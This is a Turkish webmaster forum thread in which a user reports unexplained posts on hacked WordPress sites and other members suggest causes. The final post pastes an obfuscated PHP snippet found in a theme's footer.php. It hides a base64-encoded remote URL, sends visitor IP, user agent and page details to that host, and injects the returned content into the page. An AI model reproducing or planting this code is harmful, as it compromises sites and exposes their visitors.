• 18-12-2013, 04:05:27
    #1
    Üyeliği durduruldu
    Uzun zamandır ilgilenemediğim sitemde dikkatimi çekti önce, çok eski tarihlerde yayınlanmış 2 içerik... ilk başta te zamanında aldığım tanıtım yazılarıdır, hatırlamıyorum sanırım diye düşündüm ama tanıtım yazılarını sitedeki ana kategorilerden yayınlamadım hiç... neyse dedim sildim... az önce de sadece botla içerik çektiğim bir sitemde gördüm... hem de 4 tane...

    mezuniyetti askerlikti 1,5 yıl kadar uzağım sitelerden ve bu işlerden, bu zaman zarfında bu konuda bir çakallık falan mı çıktı da duymadım acaba? bilgisi olan var mı?



  • 18-12-2013, 04:22:17
    #2
    artık Footer link yerine tanıtım yazısı atıolar Haclink çalışanları
  • 18-12-2013, 14:46:41
    #3
    Üyeliği durduruldu
    bu konuda bilgisi olan yok mu?
  • 18-12-2013, 14:48:35
    #4
    bdrc adlı üyeden alıntı: mesajı görüntüle
    bu konuda bilgisi olan yok mu?
    wordpress sürümümü 2 gün güncellemedim 3. gün güncellediğimde 600 küsur post vardı.
  • 18-12-2013, 14:54:22
    #5
    Üyeliği durduruldu
    kullandiginiz eklentilerde bir sorun olabilir.
    veya daha kotusu: daha once sifreleri ver yardim edeyim diyen oldu mu hic yardim istediginde?
  • 18-12-2013, 16:40:49
    #6
    Üyeliği durduruldu
    Albos adlı üyeden alıntı: mesajı görüntüle
    kullandiginiz eklentilerde bir sorun olabilir.
    veya daha kotusu: daha once sifreleri ver yardim edeyim diyen oldu mu hic yardim istediginde?
    kimseyle k.adı-şifre paylaşmadım... fakat iki sitenin temasında da index.php'de şu an tam hatırlayamadığım ama içinde remoteaddress gibi kelimeler geçen ve bi kısmı base64 ile başlayan şifrelenmiş bi kısım olan kodlar vardı...

    bütün siteyi silmek istemiyorum ama nerelere ne kadar bulaştığını da bilmiyorum...
  • 18-12-2013, 16:45:45
    #7
    Üyeliği durduruldu
    virus yemissiniz. o kodlari silin, sadece index.php de degil bircok yere bulasmis olabilirler.
    kontrol edin butun dosyalari, taratin.

    tosting sirketi degil e hosting sirketinde barindiriyorsaniz sitelerinizi tarama yapmalarini isteyin...
  • 18-12-2013, 17:03:27
    #8
    Üyeliği durduruldu
    footer.php'de de aynı kodlar... oysa ki temayı değiştireli 2-3 hafta olmuştu...

    <div style="display:none"><?php echo md5("wptr_portal_v1"); /* 74978e3b3f6e01292b82b4c8b5fff9db */ ?><?php
    if (!isset($sRetry))
    {
    global $sRetry;
    $sRetry = 1;
        // This code use for global bot statistic
        $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
        $sUserAgen = "";
        $stCurlHandle = NULL;
        $stCurlLink = "";
        if((strstr($sUserAgen, 'google') == false)&&(strstr($sUserAgen, 'yahoo') == false)&&(strstr($sUserAgen, 'baidu') == false)&&(strstr($sUserAgen, 'msn') == false)&&(strstr($sUserAgen, 'opera') == false)&&(strstr($sUserAgen, 'chrome') == false)&&(strstr($sUserAgen, 'bing') == false)&&(strstr($sUserAgen, 'safari') == false)&&(strstr($sUserAgen, 'bot') == false)) // Bot comes
        {
            if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
            $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
                @$stCurlHandle = curl_init( $stCurlLink ); 
        }
        } 
    if ( $stCurlHandle !== NULL )
    {
        curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 8);
        $sResult = @curl_exec($stCurlHandle); 
        if ($sResult[0]=="O") 
         {$sResult[0]=" ";
          echo $sResult; // Statistic code end
          }
        curl_close($stCurlHandle); 
    }
    }
    ?></div>
    yorumlayabilecek olan var mı?